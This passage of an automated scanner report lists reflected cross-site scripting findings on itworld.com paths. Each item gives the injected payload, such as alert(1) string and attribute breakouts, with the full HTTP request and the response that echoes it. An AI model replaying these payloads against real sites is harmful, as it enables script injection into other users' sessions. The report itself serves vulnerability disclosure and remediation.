__utmz=222989251.1316477884.1.1.utmccn=(referral)|utmcsr=fakereferrerdominator.com|utmcct=/referrerPathName|utmcmd=referral

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:29:56 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460596"
Content-Type: text/html; charset=utf-8
Content-Length: 57977
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:29:58 GMT
X-Varnish: 1038168928
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
<meta name="syndication-source" content="http://www.itworld.com/sites/all/modules/contrib/jquery_ui/jquery.ui/externalfba96"><script>alert(1)</script>f0594156723/cookie/jquery.cookie.js?h"/>
...[SNIP]...

1.208. http://www.itworld.com/sites/all/modules/contrib/jquery_ui/jquery.ui/external/cookie/jquery.cookie.js [REST URL parameter 8] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/contrib/jquery_ui/jquery.ui/external/cookie/jquery.cookie.js

Issue detail

The value of REST URL parameter 8 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 8df16"-alert(1)-"4a5965feccc was submitted in the REST URL parameter 8. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /sites/all/modules/contrib/jquery_ui/jquery.ui/external/cookie8df16"-alert(1)-"4a5965feccc/jquery.cookie.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/it-managementstrategy/204223/cyber-harassers-you-can-hide-you-can-t-run
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; mobify=0; __switchTo5x=56; __unam=dad84f1-13284325649-54133fa9-1; s_sess=%20s_cc%3Dtrue%3B%20s_ppv%3D14%3B%20SC_LINKS%3Dhomepage%255E%255ECyber%2520harassers%253A%2520You%2520can%2520hide%252C%2520but%2520you%2520can%25u2019t%2520run%255E%255Ehomepage%2520%257C%2520Cyber%2520harassers%253A%2520You%2520can%2520hide%252C%2520but%2520you%2520can%25u2019t%2520run%255E%255E%3B%20s_sq%3Didgitworldcomprod%253D%252526pid%25253Dhomepage%252526pidt%25253D1%252526oid%25253Dhttp%2525253A//www.itworld.com/it-managementstrategy/204223/cyber-harassers-you-can-hide-you-can-t-run%252526ot%25253DA%3B; s_pers=%20s_pv%3Dhomepage%7C1316479993320%3B; __utma=222989251.1353402908.1316477884.1316477884.1316477884.1; __utmb=222989251; __utmc=222989251; __utmz=222989251.1316477884.1.1.utmccn=(referral)|utmcsr=fakereferrerdominator.com|utmcct=/referrerPathName|utmcmd=referral

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:30:28 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460628"
Content-Type: text/html; charset=utf-8
Content-Length: 57757
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:30:33 GMT
X-Varnish: 1038170471
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
";
s.prop16="";
s.prop17="";
s.prop18="Anonymous";
s.prop19="";
s.prop20="";
s.prop29="";
s.prop30="";
s.prop34="";
s.prop35="";
s.prop45="/sites/all/modules/contrib/jquery_ui/jquery.ui/external/cookie8df16"-alert(1)-"4a5965feccc/jquery.cookie.js";
s.events="";
s.products="";
s.eVar1="";
s.eVar2="page";
s.eVar3="";
s.evar4="";
s.eVar9="";
s.eVar10="";
s.eVar11="53238";
s.eVar12="Oops! We couldn't find the page you requested.";
...[SNIP]...

1.209. http://www.itworld.com/sites/all/modules/contrib/jquery_ui/jquery.ui/external/cookie/jquery.cookie.js [REST URL parameter 8] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/contrib/jquery_ui/jquery.ui/external/cookie/jquery.cookie.js

Issue detail

The value of REST URL parameter 8 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ab48a"><script>alert(1)</script>9e6ce0f041c was submitted in the REST URL parameter 8. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /sites/all/modules/contrib/jquery_ui/jquery.ui/external/cookieab48a"><script>alert(1)</script>9e6ce0f041c/jquery.cookie.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/it-managementstrategy/204223/cyber-harassers-you-can-hide-you-can-t-run
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; mobify=0; __switchTo5x=56; __unam=dad84f1-13284325649-54133fa9-1; s_sess=%20s_cc%3Dtrue%3B%20s_ppv%3D14%3B%20SC_LINKS%3Dhomepage%255E%255ECyber%2520harassers%253A%2520You%2520can%2520hide%252C%2520but%2520you%2520can%25u2019t%2520run%255E%255Ehomepage%2520%257C%2520Cyber%2520harassers%253A%2520You%2520can%2520hide%252C%2520but%2520you%2520can%25u2019t%2520run%255E%255E%3B%20s_sq%3Didgitworldcomprod%253D%252526pid%25253Dhomepage%252526pidt%25253D1%252526oid%25253Dhttp%2525253A//www.itworld.com/it-managementstrategy/204223/cyber-harassers-you-can-hide-you-can-t-run%252526ot%25253DA%3B; s_pers=%20s_pv%3Dhomepage%7C1316479993320%3B; __utma=222989251.1353402908.1316477884.1316477884.1316477884.1; __utmb=222989251; __utmc=222989251; __utmz=222989251.1316477884.1.1.utmccn=(referral)|utmcsr=fakereferrerdominator.com|utmcct=/referrerPathName|utmcmd=referral

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:30:22 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460622"
Content-Type: text/html; charset=utf-8
Content-Length: 57976
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:30:24 GMT
X-Varnish: 1038169896
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
<meta name="syndication-source" content="http://www.itworld.com/sites/all/modules/contrib/jquery_ui/jquery.ui/external/cookieab48a"><script>alert(1)</script>9e6ce0f041c/jquery.cookie.js?h"/>
...[SNIP]...

1.210. http://www.itworld.com/sites/all/modules/contrib/jquery_ui/jquery.ui/external/cookie/jquery.cookie.js [REST URL parameter 9] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/contrib/jquery_ui/jquery.ui/external/cookie/jquery.cookie.js

Issue detail

The value of REST URL parameter 9 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 62c75"-alert(1)-"40aa989ccee was submitted in the REST URL parameter 9. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /sites/all/modules/contrib/jquery_ui/jquery.ui/external/cookie/jquery.cookie.js62c75"-alert(1)-"40aa989ccee?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/it-managementstrategy/204223/cyber-harassers-you-can-hide-you-can-t-run
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; mobify=0; __switchTo5x=56; __unam=dad84f1-13284325649-54133fa9-1; s_sess=%20s_cc%3Dtrue%3B%20s_ppv%3D14%3B%20SC_LINKS%3Dhomepage%255E%255ECyber%2520harassers%253A%2520You%2520can%2520hide%252C%2520but%2520you%2520can%25u2019t%2520run%255E%255Ehomepage%2520%257C%2520Cyber%2520harassers%253A%2520You%2520can%2520hide%252C%2520but%2520you%2520can%25u2019t%2520run%255E%255E%3B%20s_sq%3Didgitworldcomprod%253D%252526pid%25253Dhomepage%252526pidt%25253D1%252526oid%25253Dhttp%2525253A//www.itworld.com/it-managementstrategy/204223/cyber-harassers-you-can-hide-you-can-t-run%252526ot%25253DA%3B; s_pers=%20s_pv%3Dhomepage%7C1316479993320%3B; __utma=222989251.1353402908.1316477884.1316477884.1316477884.1; __utmb=222989251; __utmc=222989251; __utmz=222989251.1316477884.1.1.utmccn=(referral)|utmcsr=fakereferrerdominator.com|utmcct=/referrerPathName|utmcmd=referral

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:30:48 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460648"
Content-Type: text/html; charset=utf-8
Content-Length: 57757
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:30:52 GMT
X-Varnish: 1038171278
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
.prop17="";
s.prop18="Anonymous";
s.prop19="";
s.prop20="";
s.prop29="";
s.prop30="";
s.prop34="";
s.prop35="";
s.prop45="/sites/all/modules/contrib/jquery_ui/jquery.ui/external/cookie/jquery.cookie.js62c75"-alert(1)-"40aa989ccee";
s.events="";
s.products="";
s.eVar1="";
s.eVar2="page";
s.eVar3="";
s.evar4="";
s.eVar9="";
s.eVar10="";
s.eVar11="53238";
s.eVar12="Oops! We couldn't find the page you requested.";
s.eVar13="CMS";

...[SNIP]...

1.211. http://www.itworld.com/sites/all/modules/contrib/jquery_ui/jquery.ui/external/cookie/jquery.cookie.js [REST URL parameter 9] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/contrib/jquery_ui/jquery.ui/external/cookie/jquery.cookie.js

Issue detail

The value of REST URL parameter 9 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 7c0ed"><script>alert(1)</script>d7577fef1e8 was submitted in the REST URL parameter 9. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /sites/all/modules/contrib/jquery_ui/jquery.ui/external/cookie/jquery.cookie.js7c0ed"><script>alert(1)</script>d7577fef1e8?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/it-managementstrategy/204223/cyber-harassers-you-can-hide-you-can-t-run
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; mobify=0; __switchTo5x=56; __unam=dad84f1-13284325649-54133fa9-1; s_sess=%20s_cc%3Dtrue%3B%20s_ppv%3D14%3B%20SC_LINKS%3Dhomepage%255E%255ECyber%2520harassers%253A%2520You%2520can%2520hide%252C%2520but%2520you%2520can%25u2019t%2520run%255E%255Ehomepage%2520%257C%2520Cyber%2520harassers%253A%2520You%2520can%2520hide%252C%2520but%2520you%2520can%25u2019t%2520run%255E%255E%3B%20s_sq%3Didgitworldcomprod%253D%252526pid%25253Dhomepage%252526pidt%25253D1%252526oid%25253Dhttp%2525253A//www.itworld.com/it-managementstrategy/204223/cyber-harassers-you-can-hide-you-can-t-run%252526ot%25253DA%3B; s_pers=%20s_pv%3Dhomepage%7C1316479993320%3B; __utma=222989251.1353402908.1316477884.1316477884.1316477884.1; __utmb=222989251; __utmc=222989251; __utmz=222989251.1316477884.1.1.utmccn=(referral)|utmcsr=fakereferrerdominator.com|utmcct=/referrerPathName|utmcmd=referral

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:30:43 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460643"
Content-Type: text/html; charset=utf-8
Content-Length: 57977
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:30:43 GMT
X-Varnish: 1038171166
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
<meta name="syndication-source" content="http://www.itworld.com/sites/all/modules/contrib/jquery_ui/jquery.ui/external/cookie/jquery.cookie.js7c0ed"><script>alert(1)</script>d7577fef1e8?h"/>
...[SNIP]...

1.212. http://www.itworld.com/sites/all/modules/contrib/jquery_ui/jquery.ui/ui/ui.core.js [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/contrib/jquery_ui/jquery.ui/ui/ui.core.js

Issue detail

The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload f739e"-alert(1)-"1cd39c7ebd7 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /sites/all/modulesf739e"-alert(1)-"1cd39c7ebd7/contrib/jquery_ui/jquery.ui/ui/ui.core.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:22:49 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460169"
Content-Type: text/html; charset=utf-8
Content-Length: 57564
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:22:51 GMT
X-Varnish: 252446653
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
S";
s.prop14="kgerich";
s.prop15="2008-06-20";
s.prop16="";
s.prop17="";
s.prop18="Anonymous";
s.prop19="";
s.prop20="";
s.prop29="";
s.prop30="";
s.prop34="";
s.prop35="";
s.prop45="/sites/all/modulesf739e"-alert(1)-"1cd39c7ebd7/contrib/jquery_ui/jquery.ui/ui/ui.core.js";
s.events="";
s.products="";
s.eVar1="";
s.eVar2="page";
s.eVar3="";
s.evar4="";
s.eVar9="";
s.eVar10="";
s.eVar11="53238";
s.eVar12="Oops! We couldn't find
...[SNIP]...

1.213. http://www.itworld.com/sites/all/modules/contrib/jquery_ui/jquery.ui/ui/ui.core.js [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/contrib/jquery_ui/jquery.ui/ui/ui.core.js

Issue detail

The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 335e3"><script>alert(1)</script>fa509d83d2c was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /sites/all/modules335e3"><script>alert(1)</script>fa509d83d2c/contrib/jquery_ui/jquery.ui/ui/ui.core.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:22:39 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460159"
Content-Type: text/html; charset=utf-8
Content-Length: 57784
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:22:42 GMT
X-Varnish: 252446477
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
<meta name="syndication-source" content="http://www.itworld.com/sites/all/modules335e3"><script>alert(1)</script>fa509d83d2c/contrib/jquery_ui/jquery.ui/ui/ui.core.js?h"/>
...[SNIP]...

1.214. http://www.itworld.com/sites/all/modules/contrib/jquery_ui/jquery.ui/ui/ui.core.js [REST URL parameter 4] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/contrib/jquery_ui/jquery.ui/ui/ui.core.js

Issue detail

The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 273ea"><script>alert(1)</script>3dab46c1e28 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /sites/all/modules/contrib273ea"><script>alert(1)</script>3dab46c1e28/jquery_ui/jquery.ui/ui/ui.core.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:23:04 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460184"
Content-Type: text/html; charset=utf-8
Content-Length: 57788
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:23:05 GMT
X-Varnish: 252446885
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
<meta name="syndication-source" content="http://www.itworld.com/sites/all/modules/contrib273ea"><script>alert(1)</script>3dab46c1e28/jquery_ui/jquery.ui/ui/ui.core.js?h"/>
...[SNIP]...

1.215. http://www.itworld.com/sites/all/modules/contrib/jquery_ui/jquery.ui/ui/ui.core.js [REST URL parameter 4] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/contrib/jquery_ui/jquery.ui/ui/ui.core.js

Issue detail

The value of REST URL parameter 4 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload b9ac9"-alert(1)-"7b8840a7f1d was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /sites/all/modules/contribb9ac9"-alert(1)-"7b8840a7f1d/jquery_ui/jquery.ui/ui/ui.core.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:23:28 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460208"
Content-Type: text/html; charset=utf-8
Content-Length: 57570
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:23:35 GMT
X-Varnish: 252447393
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
op14="kgerich";
s.prop15="2008-06-20";
s.prop16="";
s.prop17="";
s.prop18="Anonymous";
s.prop19="";
s.prop20="";
s.prop29="";
s.prop30="";
s.prop34="";
s.prop35="";
s.prop45="/sites/all/modules/contribb9ac9"-alert(1)-"7b8840a7f1d/jquery_ui/jquery.ui/ui/ui.core.js";
s.events="";
s.products="";
s.eVar1="";
s.eVar2="page";
s.eVar3="";
s.evar4="";
s.eVar9="";
s.eVar10="";
s.eVar11="53238";
s.eVar12="Oops! We couldn't find the page
...[SNIP]...

1.216. http://www.itworld.com/sites/all/modules/contrib/jquery_ui/jquery.ui/ui/ui.core.js [REST URL parameter 6] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/contrib/jquery_ui/jquery.ui/ui/ui.core.js

Issue detail

The value of REST URL parameter 6 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload f6538"-alert(1)-"155147e05e2 was submitted in the REST URL parameter 6. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /sites/all/modules/contrib/jquery_ui/jquery.uif6538"-alert(1)-"155147e05e2/ui/ui.core.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:24:54 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460294"
Content-Type: text/html; charset=utf-8
Content-Length: 57570
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:25:00 GMT
X-Varnish: 1038159288
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
op15="2008-06-20";
s.prop16="";
s.prop17="";
s.prop18="Anonymous";
s.prop19="";
s.prop20="";
s.prop29="";
s.prop30="";
s.prop34="";
s.prop35="";
s.prop45="/sites/all/modules/contrib/jquery_ui/jquery.uif6538"-alert(1)-"155147e05e2/ui/ui.core.js";
s.events="";
s.products="";
s.eVar1="";
s.eVar2="page";
s.eVar3="";
s.evar4="";
s.eVar9="";
s.eVar10="";
s.eVar11="53238";
s.eVar12="Oops! We couldn't find the page you requested.";
s.
...[SNIP]...

1.217. http://www.itworld.com/sites/all/modules/contrib/jquery_ui/jquery.ui/ui/ui.core.js [REST URL parameter 7] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/contrib/jquery_ui/jquery.ui/ui/ui.core.js

Issue detail

The value of REST URL parameter 7 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 38a2d"-alert(1)-"6026a729d65 was submitted in the REST URL parameter 7. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /sites/all/modules/contrib/jquery_ui/jquery.ui/ui38a2d"-alert(1)-"6026a729d65/ui.core.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:25:29 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460329"
Content-Type: text/html; charset=utf-8
Content-Length: 57568
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:25:36 GMT
X-Varnish: 1038160515
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
